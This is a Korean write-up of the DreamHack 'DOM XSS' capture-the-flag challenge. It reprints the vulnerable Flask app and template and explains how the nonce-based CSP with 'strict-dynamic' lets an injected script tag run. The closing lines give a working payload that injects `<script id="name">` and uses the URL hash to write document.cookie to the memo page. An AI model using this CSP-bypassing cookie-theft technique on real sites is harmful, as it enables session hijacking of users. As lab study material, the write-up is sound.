[DreamHack] DOM XSS

https://dreamhack.io/wargame/challenges/438

DOM XSS

난이도: Level 2

app.py

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, name, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        name = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

add_header() 함수 코드를 보면, CSP(Content-Security-Policy)를 설정하여 자원(Resource) 로드를 제한하고 있습니다.

 

default-src 'self'; 기본은 자신의 도메인 허용

img-src https://dreamhack.io; dreamhack.io 이미지 로드 허용

style-src 'self' 'unsafe-inline'; 인라인 자바스크립트 및 CSS를 (ex, style attribute, onclick, or script tag bodies) 허용

script-src 'self' 'nonce-{nonce}' 'strict-dynamic'; 지정된 nonce와 일치하는 nonce 속성이 포함된 경우, 스크립트 또는 CSS가 실행되도록 허용

 

app.py에서 핵심이 될만한 코드는 CSP 외에 없었기에 다른 코드들을 살펴보았습니다. 

templates/vuln.html

{% extends "base.html" %}
{% block title %}Index{% endblock %}

{% block head %}
  {{ super() }}
  <style type="text/css">
    .important { color: #336699; }
  </style>
{% endblock %}

{% block content %}

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>
{% endblock %}

<script> 구문을 보면, load 이벤트가 발생할 때, name이라는 id를 가진 요소(element)를 name_elem에 저장한 후, 유저로부터 입력받은 location.hash.slice(1)를 포함시켜 요소(element) 내에 포함된 HTML을 설정해주는 작업을 합니다. 

 

위 코드로 인해 DOM XSS 취약점이 발생하게 됩니다. 그 이유는 유저가 name이라는 id를 가진 <script> 태그를 삽입한 후, location.hash에 실행할 스크립트 구문을 포함시키면 공격자가 원하는 스크립트를 실행시킬 수 있기 때문입니다. 

 

 

즉, 위 사진과 같이 id가 name인 스크립트를 삽입하고, alert(1); 뒤에 주석 // 을 포함시켜 전달하면 스크립트 구문이 잘 실행되는 것을 확인할 수 있습니다. 

<script id=name>
alert(1);// is my name !
</script>

위와 같이, <script>를 사용할 수 있었던 이유는 app.py에서 CSP 설정이 script-src 'self' 'nonce-{nonce}' 'strict-dynamic';로 설정되어있어 지정된 nonce와 일치하는 nonce 속성이 포함된 경우, DOM으로 스크립트 실행되도록 허용되었기 때문입니다. 

strict-dynamic: It allows the browser to load and execute new JavaScript tags in the DOM from any script source that has previously been whitelisted by a "nonce" or "hash" value

출처: https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

 

 

<script id="name"></script>

location='/memo?memo='+document.cookie//

 

앞서 설명한 방식을 토대로, FLAG 페이지로 이동하여 memo 페이지에 쿠키 값을 쓰도록 입력 값을 전달하면 플래그를 획득할 수 있게 됩니다.